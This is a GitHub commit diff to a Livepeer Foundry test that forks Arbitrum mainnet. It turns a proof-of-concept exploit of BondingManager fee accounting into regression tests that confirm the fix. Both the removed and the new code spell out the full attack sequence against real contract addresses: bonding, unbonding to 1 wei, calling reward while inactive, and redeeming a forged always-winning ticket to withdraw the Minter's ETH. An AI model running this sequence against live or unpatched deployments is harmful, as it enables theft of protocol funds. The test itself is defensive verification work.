Skip to content

Commit 90d5392

Browse files
victorgesyondonfu
authored andcommitted
test: Update Poc/Fix tests to follow standards
1 parent 4488e14 commit 90d5392

File tree

2 files changed

+239
-103
lines changed

2 files changed

+239
-103
lines changed

src/test/BondingManagerInflatedTicketFix.sol

Lines changed: 120 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -10,15 +10,16 @@ import "contracts/token/LivepeerToken.sol";
1010

1111
// forge test --match-contract BondingManagerInflatedTicketFix --fork-url https://arbitrum-mainnet.infura.io/v3/$INFURA_KEY -vvv --fork-block-number 267164264
1212
contract BondingManagerInflatedTicketFix is GovernorBaseTest {
13-
LivepeerToken lpt = LivepeerToken(0x289ba1701C2F088cf0faf8B3705246331cB8A839);
14-
BondingManager bm = BondingManager(0x35Bcf3c30594191d53231E4FF333E8A770453e40);
15-
TicketBroker tb = TicketBroker(0xa8bB618B1520E284046F3dFc448851A1Ff26e41B);
16-
RoundsManager rm = RoundsManager(0xdd6f56DcC28D3F5f27084381fE8Df634985cc39f);
13+
LivepeerToken public constant TOKEN = LivepeerToken(0x289ba1701C2F088cf0faf8B3705246331cB8A839);
14+
BondingManager public constant BONDING_MANAGER = BondingManager(0x35Bcf3c30594191d53231E4FF333E8A770453e40);
15+
TicketBroker public constant TICKET_BROKER = TicketBroker(0xa8bB618B1520E284046F3dFc448851A1Ff26e41B);
16+
RoundsManager public constant ROUNDS_MANAGER = RoundsManager(0xdd6f56DcC28D3F5f27084381fE8Df634985cc39f);
1717

18-
address constant MINTER = 0xc20DE37170B45774e6CD3d2304017fc962f27252;
18+
address public constant MINTER = 0xc20DE37170B45774e6CD3d2304017fc962f27252;
1919

20-
address TICKET_SENDER;
21-
uint256 TICKET_SENDER_KEY = 31337;
20+
uint256 public constant TICKET_SENDER_KEY = 31337;
21+
22+
address ticketSender;
2223

2324
bytes32 public constant BONDING_MANAGER_TARGET_ID = keccak256("BondingManagerTarget");
2425
BondingManager public newBondingManagerTarget;
@@ -39,52 +40,131 @@ contract BondingManagerInflatedTicketFix is GovernorBaseTest {
3940
)
4041
);
4142

42-
// Fund the attacker with 4010 LPT to main contract
43+
ticketSender = CHEATS.addr(TICKET_SENDER_KEY);
44+
45+
// Fund the attacker with 8010 LPT to main contract
4346
CHEATS.prank(MINTER);
44-
lpt.transfer(address(this), 4010 ether);
47+
TOKEN.transfer(address(this), 8010 ether);
4548
// which in turn funds the second contract with 10 LPT
46-
lpt.transfer(address(0x1337), 10 ether);
49+
TOKEN.transfer(ticketSender, 10 ether);
50+
51+
TOKEN.approve(address(BONDING_MANAGER), type(uint256).max);
4752

48-
TICKET_SENDER = CHEATS.addr(TICKET_SENDER_KEY);
53+
CHEATS.prank(ticketSender);
54+
TOKEN.approve(address(BONDING_MANAGER), type(uint256).max);
55+
56+
// Ticket sender needs to deposit the assets (they'll be stolen back later)
57+
payable(ticketSender).transfer(1 ether);
58+
CHEATS.prank(ticketSender);
59+
TICKET_BROKER.fundDeposit{ value: 1 ether }();
4960
}
5061

51-
function test_poc() public {
52-
// Check start balance
53-
console.log("Start minter balance:", MINTER.balance, "wei");
62+
function test_inflatedTicketForInactiveTranscoder() public {
63+
uint256 startMinterBalance = MINTER.balance;
5464

5565
// Bond 4000 LPT from the attacker, enough to become an active transcoder in the forked block
56-
lpt.approve(address(bm), type(uint256).max);
57-
bm.bond(4000 ether, address(this));
58-
// Set reward and fee cut rate such that the transcoder gets all rewards but delegators get all fees
59-
bm.transcoder(1e6, 1e6);
66+
BONDING_MANAGER.bond(4000 ether, address(this));
67+
BONDING_MANAGER.transcoder(1e6, 1e6);
6068

61-
// Wait for the next round
62-
_nextRound();
69+
nextRound();
6370

6471
// Unbond all LPT except 1 wei, such that the transcoder becomes the last active transcoder wth 1 wei stake.
65-
bm.unbond(4000 ether - 1 wei);
72+
BONDING_MANAGER.unbond(4000 ether - 1 wei);
6673

6774
// Secondary attacker contract now bonds with the 10 LPT, kicking the main contract out of the active transcoders
68-
CHEATS.startPrank(address(0x1337));
69-
lpt.approve(address(bm), type(uint256).max);
70-
bm.bond(10 ether, address(0x1337));
71-
CHEATS.stopPrank();
75+
CHEATS.prank(ticketSender);
76+
BONDING_MANAGER.bond(10 ether, ticketSender);
7277

7378
// Main attacker now calls reward in the last active round, which will increase the activeCumulativeRewards but not the total stake of the next round (because they're not active anymore)
74-
bm.reward();
79+
BONDING_MANAGER.reward();
80+
81+
nextRound();
82+
83+
// Now redeeming the ticket will give 1 ETH in fees to the main attacker
84+
(MTicketBrokerCore.Ticket memory ticket, bytes memory signature, uint256 rand) = signWinningTicket();
85+
TICKET_BROKER.redeemWinningTicket(ticket, signature, rand);
86+
87+
// Convert to actual fees
88+
BONDING_MANAGER.claimEarnings(0);
89+
uint256 claimedFees = 1 ether - 1; // there's a rounding error on cumulative rewards calc
90+
91+
// Try to withdraw the entire Minter's ETH balance and expect it to fail
92+
CHEATS.expectRevert("insufficient fees to withdraw");
93+
BONDING_MANAGER.withdrawFees(payable(address(this)), MINTER.balance);
94+
assertEq(MINTER.balance, startMinterBalance);
95+
96+
// Successfully withdraw only the 1 ETH in fees
97+
BONDING_MANAGER.withdrawFees(payable(address(this)), claimedFees);
98+
assertEq(MINTER.balance, startMinterBalance - claimedFees);
99+
}
100+
101+
function test_invalidTicketForUnbondedTranscoder() public {
102+
// Bond 4000 LPT from the attacker, enough to become an active transcoder in the forked block
103+
BONDING_MANAGER.bond(4000 ether, address(this));
104+
BONDING_MANAGER.transcoder(1e6, 1e6);
105+
106+
nextRound();
107+
108+
// Unbond all LPT except such that the transcoder stops being a registered transcoder
109+
BONDING_MANAGER.unbond(4000 ether);
75110

76-
// Wait for the next round
77-
_nextRound();
111+
// Main attacker now calls reward in the last active round, which will increase the activeCumulativeRewards but not the total stake of the next round (because they're not registered anymore)
112+
BONDING_MANAGER.reward();
113+
assertTrue(!BONDING_MANAGER.isRegisteredTranscoder(address(this)));
78114

115+
nextRound();
116+
117+
// Bond back the LPT to become a registered transcoder again
118+
BONDING_MANAGER.bond(4000 ether, address(this));
119+
120+
(uint256 lastRewardRound, , , uint256 lastActiveStakeUpdateRound, , , , , , ) = BONDING_MANAGER.getTranscoder(
121+
address(this)
122+
);
123+
uint256 currentRound = ROUNDS_MANAGER.currentRound();
124+
assertEq(lastRewardRound, currentRound - 1); // reward called in the previous round
125+
assertEq(lastActiveStakeUpdateRound, currentRound + 1); // stake updated in the current round
126+
127+
(uint256 lastActiveRoundTotalStake, , , , ) = BONDING_MANAGER.getTranscoderEarningsPoolForRound(
128+
address(this),
129+
lastActiveStakeUpdateRound
130+
);
131+
assertGe(lastActiveRoundTotalStake, 4000 ether);
132+
(uint256 currentRoundTotalStake, , , , ) = BONDING_MANAGER.getTranscoderEarningsPoolForRound(
133+
address(this),
134+
currentRound
135+
);
136+
assertGe(currentRoundTotalStake, 0); // will not be 0 on current round due to rewards from previous round
137+
assertLt(currentRoundTotalStake, 4000 ether); // still lower than the 4000 ether that were just bonded
138+
139+
// Now redeeming the ticket will revert because a division by a 0 totalStake on the currentRound.
140+
// lastActiveStakeUpdateRound > currentRound due to the bond above, so it can't be used
141+
(MTicketBrokerCore.Ticket memory ticket, bytes memory signature, uint256 rand) = signWinningTicket();
142+
TICKET_BROKER.redeemWinningTicket(ticket, signature, rand);
143+
144+
(, , , , , , , , uint256 cumulativeFees, ) = BONDING_MANAGER.getTranscoder(address(this));
145+
assertEq(cumulativeFees, 1 ether);
146+
}
147+
148+
function signWinningTicket()
149+
public
150+
returns (
151+
MTicketBrokerCore.Ticket memory ticket,
152+
bytes memory sig,
153+
uint256 rand
154+
)
155+
{
79156
// Prepare a always-winning ticket of 1 ETH to the main attacker contract
80-
MTicketBrokerCore.Ticket memory ticket = MTicketBrokerCore.Ticket({
157+
ticket = MTicketBrokerCore.Ticket({
81158
recipient: address(this),
82-
sender: TICKET_SENDER,
159+
sender: ticketSender,
83160
faceValue: 1 ether,
84161
winProb: type(uint256).max,
85162
senderNonce: 1,
86163
recipientRandHash: keccak256(abi.encodePacked(uint256(1337))),
87-
auxData: abi.encodePacked(rm.currentRound(), rm.blockHashForRound(rm.currentRound()))
164+
auxData: abi.encodePacked(
165+
ROUNDS_MANAGER.currentRound(),
166+
ROUNDS_MANAGER.blockHashForRound(ROUNDS_MANAGER.currentRound())
167+
)
88168
});
89169

90170
// Sign it
@@ -102,30 +182,19 @@ contract BondingManagerInflatedTicketFix is GovernorBaseTest {
102182
bytes32 signHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", ticketHash));
103183
(uint8 v, bytes32 r, bytes32 s) = CHEATS.sign(TICKET_SENDER_KEY, signHash);
104184

105-
// Ticket sender needs to deposit the assets (they'll be stolen back later)
106-
payable(TICKET_SENDER).transfer(1 ether);
107-
CHEATS.prank(TICKET_SENDER);
108-
tb.fundDeposit{ value: 1 ether }();
109-
110-
// Now redeeming the ticket will give 1 ETH in fees to the main attacker
111-
// which will be multiplied with a huge multiplier due to the stake being 1 wei and the
112-
// activeCumulativeRewards being much higher.
113-
tb.redeemWinningTicket(ticket, abi.encodePacked(r, s, v), 1337);
185+
return (ticket, abi.encodePacked(r, s, v), 1337);
186+
}
114187

115-
// Convert to actual fees
116-
bm.claimEarnings(0);
188+
function nextRound() public {
189+
console.log("Current round (before roll): ", ROUNDS_MANAGER.currentRound());
117190

118-
(, uint256 fees, , , , , ) = bm.getDelegator(address(this));
119-
// And withdraw the accrued fees
120-
bm.withdrawFees(payable(address(this)), fees);
191+
uint256 currentRoundStartBlock = ROUNDS_MANAGER.currentRoundStartBlock();
192+
uint256 roundLength = ROUNDS_MANAGER.roundLength();
193+
CHEATS.roll(currentRoundStartBlock + roundLength);
121194

122-
// gg wp
123-
console.log("Final minter balance:", MINTER.balance, "wei");
124-
}
195+
ROUNDS_MANAGER.initializeRound();
125196

126-
function _nextRound() private {
127-
CHEATS.roll(block.number + 6377);
128-
rm.initializeRound();
197+
console.log("Current round (after roll): ", ROUNDS_MANAGER.currentRound());
129198
}
130199

131200
receive() external payable {}

0 commit comments

Comments
 (0)